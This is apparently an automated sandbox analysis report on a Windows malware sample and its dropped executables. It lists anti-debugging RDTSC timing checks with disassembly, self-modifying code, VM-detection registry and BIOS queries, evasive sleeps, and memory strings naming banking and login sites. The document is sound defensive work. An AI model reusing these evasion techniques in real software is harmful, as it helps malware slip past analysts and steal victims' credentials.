00007F6511772CA7h 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F6511772C8Ch 0x0000006b rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED3048 second address: ED307B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F651112D9FAh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F651112D9FEh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: ED307B second address: ED309F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F6511772C86h 0x00000009 jns 00007F6511772C86h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 js 00007F6511772C8Ch 0x0000001e jg 00007F6511772C86h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF2719 second address: EF271F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF271F second address: EF2724 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF2724 second address: EF2734 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112D9FAh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF2734 second address: EF2738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0932 second address: EF093C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F651112D9F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0A81 second address: EF0A8B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6511772C86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0A8B second address: EF0A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0A94 second address: EF0A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0A9D second address: EF0AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F651112D9F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0AA9 second address: EF0AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0C2A second address: EF0C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0D79 second address: EF0D7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0D7D second address: EF0D93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA02h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF0D93 second address: EF0DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F6511772C86h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF107A second address: EF10A9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F651112D9F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F651112DA02h 0x00000013 jmp 00007F651112D9FFh 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF11E8 second address: EF11F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF11F0 second address: EF11F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF11F5 second address: EF1201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F6511772C86h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1380 second address: EF1387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1387 second address: EF13B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F6511772C93h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push edi 0x00000012 jmp 00007F6511772C8Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF13B5 second address: EF13BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EE992E second address: EE9941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6511772C8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EE9941 second address: EE994D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F651112D9F6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EE994D second address: EE9951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EBEC28 second address: EBEC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F651112DA02h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1800 second address: EF180F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 js 00007F6511772C92h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF180F second address: EF1819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F651112D9F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1FA5 second address: EF1FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1FAB second address: EF1FBB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F651112D9F6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1FBB second address: EF1FD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6511772C8Fh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1FD3 second address: EF1FDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1FDB second address: EF1FE9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6511772C86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF1FE9 second address: EF1FED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF24FA second address: EF24FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF24FE second address: EF2544 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F651112DA01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F651112D9F6h 0x00000010 jmp 00007F651112DA05h 0x00000015 popad 0x00000016 jp 00007F651112D9FEh 0x0000001c push eax 0x0000001d push edx 0x0000001e push esi 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF2544 second address: EF2548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF2548 second address: EF254E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF254E second address: EF257B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6511772C8Ch 0x0000000e pushad 0x0000000f jnp 00007F6511772C86h 0x00000015 jmp 00007F6511772C8Eh 0x0000001a push edi 0x0000001b pop edi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF6F2A second address: EF6F36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF6F36 second address: EF6F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EF6F3C second address: EF6F44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EB6334 second address: EB6348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jng 00007F6511772C86h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe RDTSC instruction interceptor: First address: EB6348 second address: EB6353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F651112D9F6h 0x0000000a popad 0x0000000b rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 83EEA5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 9FE461 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 83EDC8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Special instruction interceptor: First address: D4DEA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Special instruction interceptor: First address: D4DED9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Special instruction interceptor: First address: F8867D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Special instruction interceptor: First address: 74CBDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe Special instruction interceptor: First address: 57EA5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 79CBDD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: 5CEA5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Special instruction interceptor: First address: E8EEA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Special instruction interceptor: First address: 104E461 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Special instruction interceptor: First address: E8EDC8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002932001\0322d7d8d5.exe Special instruction interceptor: First address: 104E1B3 instructions caused by: Self-modifying code
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Memory allocated: 5050000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Memory allocated: 50E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Memory allocated: 70E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Memory allocated: 1250000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Memory allocated: 1B130000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\XC.exe Memory allocated: 750000 memory reserve | memory write watch
Source: C:\Users\user\XC.exe Memory allocated: 1A4E0000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Code function: 10_2_00ED2D5F rdtsc 10_2_00ED2D5F
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\XC.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Window / User API: threadDelayed 1365 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Window / User API: threadDelayed 8476 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\file.exe TID: 7324 Thread sleep time: -270000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7324 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe TID: 7752 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7420 Thread sleep time: -38019s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6384 Thread sleep count: 143 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6384 Thread sleep time: -4290000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6000 Thread sleep time: -32016s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1292 Thread sleep time: -38019s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6384 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe TID: 6968 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe TID: 6204 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\XC.exe TID: 5500 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe TID: 3908 Thread sleep time: -30000s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\XC.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\OXQ7QUWHYS3G7KHDRA2.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\XC.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\P5M7OMAD8UMQJG5VVBHI33FJBO23OJ.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002930001\XC.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\XC.exe Thread delayed: delay time: 922337203685477
Source: skotes.exe, skotes.exe, 0000000F.00000002.2538983289.0000000000754000.00000040.00000001.01000000.0000000C.sdmp, 44f3ff7773.exe, 00000012.00000002.2546357468.0000000001022000.00000040.00000001.01000000.0000000F.sdmp, 0322d7d8d5.exe, 00000013.00000002.2455126013.000000000102C000.00000040.00000001.01000000.00000010.sdmp, 44f3ff7773.exe, 00000025.00000002.2542705948.0000000001022000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.000000000127E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW8
Source: firefox.exe, 00000027.00000002.2558031797.00000297EA440000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllX|
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.00000000012DC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW.
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 0322d7d8d5.exe, 00000013.00000002.2456120986.0000000001683000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW0
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696492231
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017F4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW4
Source: firefox.exe, 00000027.00000002.2548729603.00000297E9BFA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@6
Source: 44f3ff7773.exe, 00000012.00000003.2371187718.0000000005A87000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000002.2562504183.00000000012DC000.00000004.00000020.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2456120986.00000000016B2000.00000004.00000020.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2456120986.00000000016B9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2567714374.0000019A599AB000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2567714374.0000019A599A0000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000025.00000002.2558464601.000000000178B000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000025.00000002.2558464601.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2548729603.00000297E9BFA000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000028.00000002.2546360919.0000000001321000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: firefox.exe, 00000024.00000002.2629966548.0000019A63AB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2556604726.00000297EA012000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
